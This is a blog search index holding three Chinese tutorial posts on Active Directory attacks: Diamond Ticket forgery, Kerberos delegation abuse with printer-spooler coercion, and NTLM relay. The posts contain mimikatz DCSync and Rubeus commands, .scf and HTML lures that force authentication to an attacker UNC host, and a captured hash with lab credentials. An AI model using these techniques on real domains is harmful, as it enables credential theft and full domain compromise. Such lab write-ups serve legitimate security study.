-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
88 lines (42 loc) · 39.9 KB
/
Copy pathsearch.xml
File metadata and controls
88 lines (42 loc) · 39.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>钻石票据DiamondTicket</title>
<link href="/2025/02/08/DiamondTicket/"/>
<url>/2025/02/08/DiamondTicket/</url>
<content type="html"><![CDATA[<h1 id="钻石票据-DiamondTicket"><a href="#钻石票据-DiamondTicket" class="headerlink" title="钻石票据 DiamondTicket"></a>钻石票据 DiamondTicket</h1><p>黄金票据攻击和钻石票据攻击都需要访问<code>krbtgt</code>密钥。然而,钻石票据攻击需要访问<code>AES256</code>密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击<br>黄金票据充分利用了能够从头开始伪造票据授予票据 (TGT) 的优势,而钻石票据则利用了能够解密和重新加密从域控制器 (DC) 请求的真实 TGT 的优势</p><h2 id="钻石PAC"><a href="#钻石PAC" class="headerlink" title="钻石PAC"></a>钻石PAC</h2><p>PAC 是一种传递域控制器 (DC)提供的授权相关信息的结构。身份验证协议使用 PAC 来验证身份以传输授权信息,从而控制对资源的访问。说白了就是来验证身份是否有效的。<br>最初的<code>钻石PAC</code>攻击远没有钻石票据灵活,攻击成功需要两个条件:</p><ol><li>在没有特权属性证书(PAC)的情况下请求TGT</li><li>确保要访问的服务的服务帐户未在其 UserAccountControl (UAC) 属性中设置“NA”位</li></ol><p>在服务帐户的 UAC 属性中设置 NA 位后,向该服务帐户请求的 ST 没有 PAC ,攻击者下一个阶段就可以构造恶意 PAC 注入到 ST 中实现攻击<br>由于2021年发布的补丁无法再在完全最新的域控制器 (DC) 上使用没有 PAC 的 TGT。我们知道需要拥有<code>KRBTGT</code>密钥,并且攻击利用任何其他有效帐户来请求 TGT。所以我们想为什么不直接解密该 TGT,按照我们想要的方式修改它,重新计算 PAC 签名,然后重新加密它。这就是我们所说的钻石票据</p><h2 id="钻石票据攻击利用"><a href="#钻石票据攻击利用" class="headerlink" title="钻石票据攻击利用"></a>钻石票据攻击利用</h2><p>清除已有票据以免造成影响</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">klist purge</span><br></pre></td></tr></table></figure><p>使用钻石票据的思路就是使用低权限的用户向域控请求一个普通的 <code>TGT</code>,随后进行解密修改签名和重新加密即可,当然这些事情<code>Rubeus</code>会自动帮我们完成,我们只需要提供信息即可</p><p>使用 <code>mimikatz</code> 抓取 <code>krbtgt</code> 用户 <code>aes256</code>密钥</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mimikatz.exe <span class="string">"privilege::debug"</span> <span class="string">"lsadump::dcsync /domain:rootkit.org /user:krbtgt"</span> <span class="string">"exit"</span></span><br></pre></td></tr></table></figure><p>使用钻石票据需要提供以下信息:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">krbkey:<span class="number">4685250</span>f2ee69857f5f2f5098dbfbc4e2bfd539be23329d55c4377ca4108390f</span><br><span class="line">user:Test2 <span class="comment">//低权限用户</span></span><br><span class="line">password:Seven@Six999. <span class="comment">//用户密码</span></span><br><span class="line">domain:world.org</span><br><span class="line">dc:DC3.world.org</span><br><span class="line">ticketuser:test123 <span class="comment">//伪造的票据用户名可以任意,不需要域中存在该用户</span></span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe diamond /krbkey:<span class="number">3e65833</span>fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /password:Admin12345 /enctype:aes /domain:rootkit.org /dc:owa2013.rootkit.org /ticketuser:test123 /ptt /nowrap</span><br></pre></td></tr></table></figure><p>下图为原<code>TGT</code></p><p><img src= "/img/loading.gif" data-src="/img/zuanshi1.png" alt="image-20241012235634790"></p><p>下图为解密重新构造的<code>TGT</code></p><p><img src= "/img/loading.gif" data-src="/img/zuanshi2.png" alt="image-20241012235735270"></p><p>利用我们重新构造的<code>TGT</code>对域控的<code>cifs</code>服务进行票据注入</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe asktgs /ticket:doIFDjCCBQqgAwIBBaEDAgEWooIEHTCCBBlhggQVMIIEEaADAgEFoQsbCVdPUkxELkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJV09STEQuQ09No4ID2zCCA9egAwIBEqEDAgEDooIDyQSCA8VesXv9u+qfJj1eXxFcL8ueDSKZcdDk0+zyU3foDvs+<span class="number">1</span>Nh9ynLlDVJiVpRc4MAArcSvkVOtF3WSjIwc10++BApjlVuLBww9JYiFK3u9Um9MOAJ9pLIgarCQVfczqJ6i3kL/PZnIaavjS4b9AVXxt+X+mu/PYFgpZe2BL9cSQGA8xbHHsLO7PUjootdH6vQYRMlBaojjCMUWTPy9bCenVo0Txx/J18DbFb3E2huoyRd9d+fRx97R0/<span class="number">5</span>NGsSL0NTSoJPLIFeYAAYrc+EJYModcZElXQu+zq78a8xyeKDMG1EfSQiyP3HtDOYOezu5H0O1arH169ijEsW02Y3rGiBgwpBSpIwoInvum1LpCpvda+yjKSbJotdrnrmIgBjHQMFhloI21c4vQDvlpBrShSK2O6r4iGsxE0NDJQvw/<span class="number">4</span>bZNWqtzrLA8QpkyfAQkG2nsT2ic+unLTVJutGhCkye0UPYzIYfIKkEymkkcSAJNC6qyyeG2f4Tv+<span class="number">1</span>unyQWxiulWfbrOgeOIfrnziRV/QBCvhBLr+z6O/rBDcNBdvEV32E4I6LS5nXt7O5cUl1rk8/ANg0D+v4DMkazEGtms+d7bUul5/OBNE2Gw18/Pknrc22Xp6OCLHNOZu3+io4MHxxsdMMTiszg2vinw4DgGdIilrsD84LsucbJpiTURN5BQI9HH0H95mxTVudOLEnit6f9EA0I21pGYNvbBlCMnmKCKMZF7KUszowuC2x3Nf2llnMVP7YEEb2rsVilJ9r7qgvAfTLH2R5Tz8Y4x8k0Hjidk0oMBV7RlTr5blKvQZ23PDYpsb1gM0nxW49BGcRNqFkB9VbN+VZ5dz/DPKrWlXIcisldI5HpoamRiURAOlxoPCKUnhj8Y5NrpRY7O/NRNyZCA6PzTTfw6y8la8m0Im5x88Uh6XOhGIsV43DfdUT/usIzp2QE8fblllSKDhRZAE1ZGXvJ9JGadTUkn+R8sWDmzwZ3qu+VDi64nc4AexYZIGwK6mkHKQzNHbw4CjdAL8RuzdaySIx/k5GhyI1V4TCYGGTnsrZmHSYwTqD4K3jHWDjqSva2cK9fb3tQ9f5PFIGQUldChv/k97yIQB1EKHo8anqyvzvzrvoYpJ7IrFrCtafSV7DeWvv9xJaFYchERDFpt7OcLoWWO77Ru1j6DhD+SqOPJELK1bMOcDxplRz6KlbrnLUKvQxQT07A4KV46fgaREwFcULXI6yw86qlNEIxAQR8XoNtb1uwY1r4MrQBTWTRTyOFELPSDLX03HHowQxYfQQnj4oxuJqLQKOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHCMIG/oCswKaADAgESoSIEIFqAkXnHL2+iV2NMXaKCUsSa92xqmIZdHMTFDpGeUcNXoQsbCVdPUkxELkNPTaIUMBKgAwIBAaELMAkbB3Rlc3QxMjOjBwMFAEDhAAClERgPMjAyNDEwMTIxNTQxMDdaphEYDzIwMjQxMDEzMDE0MTA3WqcRGA8yMDI0MTAxOTE1NDEwN1qoCxsJV09STEQuQ09NqR4wHKADAgECoRUwExsGa3JidGd0GwlXT1JMRC5DT00= /service:cifs/DC3.world.com /ptt /nowrap</span><br></pre></td></tr></table></figure><p>下图可见票据已生成并可以成功利用</p><p><img src= "/img/loading.gif" data-src="/img/zuanshi3.png" alt="image-20241012235955902"></p>]]></content>
<categories>
<category> 域渗透 </category>
</categories>
<tags>
<tag> 票据伪造 </tag>
<tag> 权限维持 </tag>
</tags>
</entry>
<entry>
<title>非约束委派和约束委派</title>
<link href="/2025/01/23/%E9%9D%9E%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E5%92%8C%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE/"/>
<url>/2025/01/23/%E9%9D%9E%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E5%92%8C%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE/</url>
<content type="html"><![CDATA[<h1 id="非约束性委派"><a href="#非约束性委派" class="headerlink" title="非约束性委派"></a>非约束性委派</h1><h2 id="非约束性委派概述"><a href="#非约束性委派概述" class="headerlink" title="非约束性委派概述"></a>非约束性委派概述</h2><p>在Windows server 2000首次发布Active Directory时,Microsoft就提供了一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录方案,这就是最早的<code>非约束性委派</code></p><p><strong>对于非约束性委派,服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可以使用该TGT,模拟该用户访问任何服务</strong></p><p>非约束委派的设置需要<code>SeEnableDelegation特权</code>,该特权通常仅授予域管理员</p><p>配置了非约束性委派属性的<code>机器账号</code>的<code>UserAccountControl属性</code>有个Flag位:<code>WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION</code>,其对应的数是<code>0x81000=528384</code></p><p>配置了非约束性委派属性的<code>服务账号</code>的<code>userAccountControl属性</code>有个Flag位:<code>NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION</code>,其对应的数是<code>0x80200=524800</code></p><h2 id="查找非约束委派的主机或服务账号"><a href="#查找非约束委派的主机或服务账号" class="headerlink" title="查找非约束委派的主机或服务账号"></a>查找非约束委派的主机或服务账号</h2><h3 id="利用powersploit中的powerview"><a href="#利用powersploit中的powerview" class="headerlink" title="利用powersploit中的powerview"></a>利用powersploit中的powerview</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">import-Module .\PowerView.ps1</span><br><span class="line"></span><br><span class="line">Get-NetComputer -Unconstrained -Domain test.com</span><br><span class="line">Get-NetUser -Unconstrained -Domain test.com | select name</span><br></pre></td></tr></table></figure><h3 id="利用ADFind"><a href="#利用ADFind" class="headerlink" title="利用ADFind"></a>利用ADFind</h3><h2 id="非约束性委派利用过程"><a href="#非约束性委派利用过程" class="headerlink" title="非约束性委派利用过程"></a>非约束性委派利用过程</h2><p>user访问serverA,于是向DC发起认证,DC会检查server的机器账号的属性,<code>如果是非约東委派的话,会把用户的TGT放在ST票据中并一起发送给ServerA</code>,这样ServerA在验证ST票据的同时也获得了用户的TGT,<code>并把TGT存储在自己的lsass进程中以备下次重用,从而ServerA就可以使用这个TGT,来模拟这个user访问任何服务</code></p><p>从攻击角度来说:<code>如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境</code></p><h3 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h3><p>域:test2.com 域控:PC2 受非约束委派机器:PC1</p><p>用域管访问PC1机器</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">net <span class="keyword">use</span> <span class="title">MPC1</span>.<span class="title">test2</span> <span class="title">comlipc</span>$ "<span class="title">admin</span>@2019<span class="title">Domain</span>" /<span class="title">user</span>:<span class="title">test2</span>\<span class="title">administrator</span></span><br><span class="line"></span><br><span class="line"><span class="title">dir</span> <span class="title">WPc1</span> .<span class="title">test2</span>.<span class="title">com</span>\<span class="title">c</span>$</span><br></pre></td></tr></table></figure><p>然后在PC1上以管理员权限运行mimikatz</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">privilege::<span class="variable constant_">debug</span></span><br><span class="line">sekurlsa::<span class="variable constant_">tickets</span> /export</span><br></pre></td></tr></table></figure><p>此时可以在mimikatz同级目录下拿到管理员Administrator的票据,用mimikatz将票据注入内存中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">privilege::<span class="variable constant_">debug</span></span><br><span class="line">kerberos::<span class="variable constant_">purge</span></span><br><span class="line">kerberos::<span class="variable constant_">ptt</span> [<span class="number">0</span>:a33838]-<span class="number">2</span>-<span class="number">0</span>-<span class="number">60</span>a10000-Administrator@krbtgt-TEST2.COM.kirbi</span><br><span class="line">kerberos::<span class="variable constant_">list</span></span><br></pre></td></tr></table></figure><p>成功访问域控</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dir \Pc2.test2.com\c$</span><br></pre></td></tr></table></figure><h2 id="非约束委派-Spooler打印机漏洞利用过程"><a href="#非约束委派-Spooler打印机漏洞利用过程" class="headerlink" title="非约束委派+Spooler打印机漏洞利用过程"></a>非约束委派+Spooler打印机漏洞利用过程</h2><p>非约束委派+spooler打印机服务可以强制指定的主机进行连接</p><h3 id="利用原理"><a href="#利用原理" class="headerlink" title="利用原理"></a>利用原理</h3><p>利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRNRpcRemoteFindFirstPrinterchangeNotification方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证<br>Print Spooler服务默认是自动运行的</p><h3 id="利用过程-1"><a href="#利用过程-1" class="headerlink" title="利用过程"></a>利用过程</h3><p>域:test2.com 域控:PC2 非约束委派机器:PC1</p><p>使用Rubeus监听来自域控的登陆日志</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe monitor /interval:<span class="number">1</span> /filteruser:PC2</span><br></pre></td></tr></table></figure><p>在PC1上运行SpoolSample.exe,向域控的Spooler服务发送请求,强制域控PC2向PC1发起认证</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SpoolerSample.exe PC2 PC1</span><br></pre></td></tr></table></figure><p>成功捕捉到域控的票据,利用Rubeus进行PTT票据传递</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe ptt 票据内容</span><br></pre></td></tr></table></figure><p>票据导入成功后,利用DCSync导出域内所有用户的Hash</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Isadump</span>::<span class="variable constant_">dcsync</span> /domain:test2.com /all /csV</span><br></pre></td></tr></table></figure><p>然后可以根据获得的信息进一步进行Hash传递或进行黄金票据等</p><h1 id="约束性委派"><a href="#约束性委派" class="headerlink" title="约束性委派"></a>约束性委派</h1><h2 id="利用过程-2"><a href="#利用过程-2" class="headerlink" title="利用过程"></a>利用过程</h2><p>域名:test2.com 域控:PC2.test2.com 域内机器:PC1.test2.com 域内委派用户:justtest</p><p>首先在域控上将justtest注册为SPN服务账号</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setspn -S cifs/PC1.test2.com</span><br></pre></td></tr></table></figure><p>查看是否注册成功</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setspn -L justtest</span><br></pre></td></tr></table></figure><p>然后将justtest用户设置为 约束委派 的属性,为访问域控的cifs</p><p>通过命令行打开<code>adsiedit.msc</code>查看<code>justtest</code>用户属性</p><p>可以看到当被设置为约束委派的时候,它的<code>userAccountControl</code>会包含<code>TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION</code>字段并且比<code>非约束委派</code>账户多了<code>msDS-AllowedToDelegateTo</code>字段,里面包含了允许委派的服务</p><p>当知道justtest这个服务用户的明文密码或者Hash时,可以用kekeo请求它的TGT</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tgt:ask /user:justtest /domain:test2.com /password:Seven@Six999.</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tot::<span class="variable constant_">ask</span> /user:justtest /domain:test2.com /NTLM XXXXXXXX</span><br></pre></td></tr></table></figure><p>如果不知道明文和Hash,如果有了服务用户登录的主机权限,也可以利用mimikatz从内存中把服务用户的TGT dump下来,从内存中导出所有票据</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">privilege:debug</span><br><span class="line">sekurlsa:tickets /export</span><br></pre></td></tr></table></figure><p>然后通过justtest的TGT伪造s4u请求以administrator身份请求访问域控cifs的ST</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tgs s4u /tgt.TGT justtest@TEST2.COM krbtgt.test2.com@TEST2.COM.kirbi /user administrator@test2 com/service:cifs/Pc2 test2.com</span><br></pre></td></tr></table></figure><p>可以获得两个票据<br>用mimikatz将票据导入内存中</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kerberos:ptt TGS administrator@test2.com@TEST2.COM cifs~PC2 test2.com@TEST2.COM .kirbi</span><br></pre></td></tr></table></figure><p>访问域控</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dir WPc2.test2.com\c$</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 域渗透 </category>
</categories>
<tags>
<tag> 渗透 </tag>
<tag> 内网横向 </tag>
<tag> 委派攻击 </tag>
</tags>
</entry>
<entry>
<title>NTLM中继攻击</title>
<link href="/2025/01/22/NTLM%E4%B8%AD%E7%BB%A7%E6%94%BB%E5%87%BB/"/>
<url>/2025/01/22/NTLM%E4%B8%AD%E7%BB%A7%E6%94%BB%E5%87%BB/</url>
<content type="html"><![CDATA[<h1 id="NTLM中继攻击原理"><a href="#NTLM中继攻击原理" class="headerlink" title="NTLM中继攻击原理"></a>NTLM中继攻击原理</h1><p>之前说过hash的分类,简单分为<code>LM hash</code>、<code>Net-NTLM Hash v1</code>和<code>Net-NTLM Hash v2</code></p><p>现在一般都是<code>Net-NTLM Hash v2</code>,破解和爆破都比较困难,所以一般获取不到明文</p><p><code>ntlm relay</code>的原理可以简述为:存在一个中间人,也就是攻击者,然后客户端认为他是服务端,服务端认为他是客户端。所以全程客户端都在和攻击者进行交互,然后攻击者将获得到的信息拿来和服务端交互,所以服务端认为攻击者是客户端,这样也就达到了伪造客户端进行认证的目的</p><p><img src= "/img/loading.gif" data-src="/img/NTLM%E4%B8%AD%E7%BB%A73.png" alt="img"></p><p><code>Net-Ntlm relay</code>攻击的大致思路就是在<code>Ntlm协议认证的第三步</code>,通过获取<code>Hash</code>值,然后进行重放到服务器上进行验证。所以我们这里大致分为两步:第一步是获得Net-Ntlm Hash值,第二步是进行重放</p><h1 id="获取Net-ntlm-hash"><a href="#获取Net-ntlm-hash" class="headerlink" title="获取Net-ntlm hash"></a>获取Net-ntlm hash</h1><p>这里的实现方式就是让受害者把<code>Hash</code>传递给自己,所以说我们可以利用所有基于<code>NTLM</code>协议的上层协议进行<code>relay</code>,比如<code>SMB</code>、<code>HTTP</code>、<code>LDAP</code>协议</p><h2 id="Responder"><a href="#Responder" class="headerlink" title="Responder"></a>Responder</h2><p>这两个工具的原理是<code>LLMNR</code>和<code>NetBIOS欺骗</code></p><blockquote><p><code>LLMNR</code>全称链路本地多播名称解析,是基于域名系统(<code>DNS</code>)数据包格式的协议,<code>IPv4</code>和<code>IPv6</code>的主机可以通过此协议对同一本地链路上的主机执行名称解析。简单理解为就是一种在局域网内寻找主机的协议</p></blockquote><blockquote><p><code>NetBios</code>全称网络基本输入输出系统,它提供了<code>OSI</code>模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。<code>NetBIOS</code>也是计算机的标识名称,主要用于局域网内计算机的互访。<code>NetBIOS</code>的工作流程就是正常的机器名解析查询应答过程。在<code>Windows</code>操作系统中,默认情况下在安装<code>TCP/IP</code>协议后会自动安装<code>NetBIOS</code></p></blockquote><p><code>Windows</code>解析主机名的顺序为:</p><ol><li>查看本地<code>hosts</code>文件</li><li>查看<code>DNS</code>缓存或者<code>DNS</code>服务器中进行查找</li><li>利用<code>LLMNR</code>(链路本地多播名称解析)和<code>NetBIOS</code>名称服务进行查找</li></ol><p>在局域网环境下,当用户输入了一个不存在的,或者错误的,<code>DNS</code>中不存在的主机名的时候,<code>Windows</code>系统根据主机名解析的顺序开始查找,最终在局域网内广播<code>LLMNR/NBNS</code>数据包来请求解析主机名。所以当我们在<strong>攻击机上进行监听</strong>,然后在<strong>被攻击机上进行广播</strong>查找,当<code>LLMNR</code>(链路本地多播名称解析)和<code>NetBIOS</code>名称服务进行查找时,我们就可以抓到<strong>被攻击机的Hash</strong></p><p>下载链接:<a href="https://github.com/lgandx/Responder">https://github.com/lgandx/Responder</a></p><p>然后我们在攻击机(kali)上执行下面的命令</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">sudo responder -I eth0 -v -F on -w on </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">-I eth0: 指定要监听的网络接口</span><br><span class="line">-v: 输出详细的调试信息。</span><br><span class="line">-F on: 打开 NTLMv1/NTLMv2/LMv2/Fallback 密码哈希的抓取和中继功能。</span><br><span class="line">-w on: 打开 WPAD 代理欺骗功能。</span><br></pre></td></tr></table></figure><p>然后在<strong>被攻击机</strong>上访问一个<strong>不存在的主机</strong>,使得<strong>被攻击机</strong>进行广播,这里随便输一个<code>\\dddddd</code><br>或者在终端执行<code>net use \\dddddd</code>,这里是利用SMB协议进行中继攻击,所以这里是SMB Relay</p><p>其实这里的原理是<code>LLMNR&NBNS</code>攻击,当用户输入任意一个不存在的名称,<strong>本地hosts文件和DNS服务器均不能正常解析该名称</strong>,所以系统就会发送<code>LLNMR/NBNS</code>数据包请求解析,此时Responder对目标主机进行<code>LLNMR/NBNS</code>毒化,并要求其输入凭据认证,然后就可以抓到目标机器的<code>Net-Ntlm hash</code></p><h2 id="desktop-ini"><a href="#desktop-ini" class="headerlink" title="desktop.ini"></a>desktop.ini</h2><p>每个文件夹下都有个隐藏文件<code>desktop.ini</code>其作用来用来指定文件夹图标等,正常情况是不可见的,可以通过<strong>修改文件夹属性</strong>去显示此文件<br>当图标的一些路径改成指定的<strong>UNC路径</strong>,就能收到目标机器发来的NTLM请求</p><blockquote><p>通用命名规则 UNC (Universal Naming Convention) ,也叫通用命名规范、通用命名约定,指用一种通用语法来描述网络资源(如共享文件,目录或打印机)的位置<br>Microsoft Windows UNC,通用命名约定或统一命名约定的简称,指定了一种通用语法来描述网络资源(如共享文件,目录或打印机)的位置。Windows系统的UNC语法具有通用形式:<br><code>\\ComputerName\SharedFolder\Resource</code></p></blockquote><p>我们先新建一个文件夹<code>111</code>,然后随便修改一个文件夹图标</p><p>取消勾选<code>隐藏受保护的操作系统文件</code></p><p>此时可以看到<code>desktop.ini</code>文件</p><p>然后将该文件里的<code>UNC路径</code>替换为<code>指定机器的UNC路径</code>,这样当有人访问了<code>111</code>文件夹,目标机器就会去请求指定的UNC的图标资源,于是该机器就会将当前用户的<code>Net-NTLM Hash</code>发送给指定UNC的机器,我们在攻击机上用<code>Responder</code>监听,就能接受到发来的<code>Net-NTLM Hash</code></p><p><img src= "/img/loading.gif" data-src="/img/NTLM%E4%B8%AD%E7%BB%A74.png" alt="image-20241026171148304"></p><h2 id="scf后缀文件"><a href="#scf后缀文件" class="headerlink" title=".scf后缀文件"></a>.scf后缀文件</h2><blockquote><p>SCF后缀的文件通常是Windows操作系统中使用的一种快捷方式文件。SCF文件是Shell Command File(Shell 命令文件)的缩写,它包含了一系列命令,用于执行特定的操作或打开特定的应用程序</p></blockquote><p>这个利用方法和上面的<code>desktop.ini</code>的原理是一样的,<code>.scf</code>文件中包含<code>IconFile</code>属性,所以<code>explore.exe</code>服务器会尝试获取文件夹的图标,所以打开<code>.scf</code>所在的文件夹时,目标机器会尝试获取文件夹的图标,那我们通过修改<code>IconFile</code>也就像上面一样达到访问指定UNC机器的目的了</p><p><code>.scf</code>文件的基本格式如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[Shell]Command=<span class="number">2</span></span><br><span class="line">IconFile=\\<span class="number">10.10</span>.<span class="number">10.2</span>\test\test.ico</span><br><span class="line">[Taskbar]</span><br><span class="line">Command=ToggleDesktop</span><br></pre></td></tr></table></figure><h2 id="浏览器"><a href="#浏览器" class="headerlink" title="浏览器"></a>浏览器</h2><p>当浏览器的访问页面含有UNC路径时,浏览器在解析该页面时也会尝试请求该UNC地址,发起NTLM认证。不同的浏览器有不同的UNC路径格式</p><p>这里示范一下在IE浏览器下的。在网站(phpstudy)下新建 1.html ,内容如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><!doctype html></span><br><span class="line"><htlm lang=<span class="string">"en"</span>></span><br><span class="line"><head></span><br><span class="line"> <meta charset=<span class="string">"UTF-8"</span>></span><br><span class="line"><head></span><br><span class="line"><body></span><br><span class="line"> <script src=<span class="string">"\\192.168.253.255\test"</span>></script></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>然后在被攻击机上访问这个文件,成功抓到<code>Net-NTLM Hash</code></p><h2 id="系统命令"><a href="#系统命令" class="headerlink" title="系统命令"></a>系统命令</h2><p>下面列举一些常见的系统命令来访问指定的UNC路径去触发<code>Net-NTLM Hash</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">net.exe <span class="keyword">use</span> \<span class="title">hostshare</span></span><br><span class="line"><span class="title">attrib</span>.<span class="title">exe</span> \<span class="title">hostshare</span></span><br><span class="line"><span class="title">cacls</span>.<span class="title">exe</span> \<span class="title">hostshare</span></span><br><span class="line"><span class="title">cipher</span>.<span class="title">exe</span> \<span class="title">hostshare</span></span><br><span class="line"><span class="title">expand</span>.<span class="title">exe</span> \<span class="title">hostshare</span></span><br></pre></td></tr></table></figure><p>然后<code>Responder</code>监听接收到了hash值</p><p>除了上面的这些方法之外还可以用<code>Office</code>、<code>PDF</code>、<code>outlook</code>、<code>WPAD欺骗</code>、<code>打印机漏洞</code>等</p><h1 id="利用Net-ntlm-hash进行攻击"><a href="#利用Net-ntlm-hash进行攻击" class="headerlink" title="利用Net-ntlm hash进行攻击"></a>利用Net-ntlm hash进行攻击</h1><h2 id="破解Net-NTLM-Hash"><a href="#破解Net-NTLM-Hash" class="headerlink" title="破解Net-NTLM Hash"></a>破解Net-NTLM Hash</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">hashcat -m <span class="number">5600</span> <net-ntlm hash> 密码字典路径 --force --show </span><br><span class="line"></span><br><span class="line">比如:(主要看字典强不强大)</span><br><span class="line">hashcat -m <span class="number">5600</span> <span class="title class_">Administrator</span>::<span class="variable constant_">WANYUE</span>:cc1c3f0693127e2d:F1A956FBA8F6138DD687620F161C6CDA:<span class="number">010100000000000054</span>EA5D5C6D49DA0163E3AABCA31110450000000002000800420053004F00470001001E00570049004E002D005400580045004B004400310051004C0049003600570004001400420053004F0047002E004C004F00430041004C0003003400570049004E002D005400580045004B004400310051004C004900360057002E00420053004F0047002E004C004F00430041004C0005001400420053004F0047002E004C004F00430041004C000800300030000000000000000000000000300000AB1E45D172BBDC200072E4A485AB24C52F15C1CA212FB8F124D857356EFE126F0A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000 /password.txt --force --show</span><br></pre></td></tr></table></figure><p>我们抓到的这个是<code>Net-NTLM Hash v2</code>,密码强度较高,一般都跑不出来,所以基本都是用中继攻击</p><h2 id="中继Net-NTLM-Hash"><a href="#中继Net-NTLM-Hash" class="headerlink" title="中继Net-NTLM Hash"></a>中继Net-NTLM 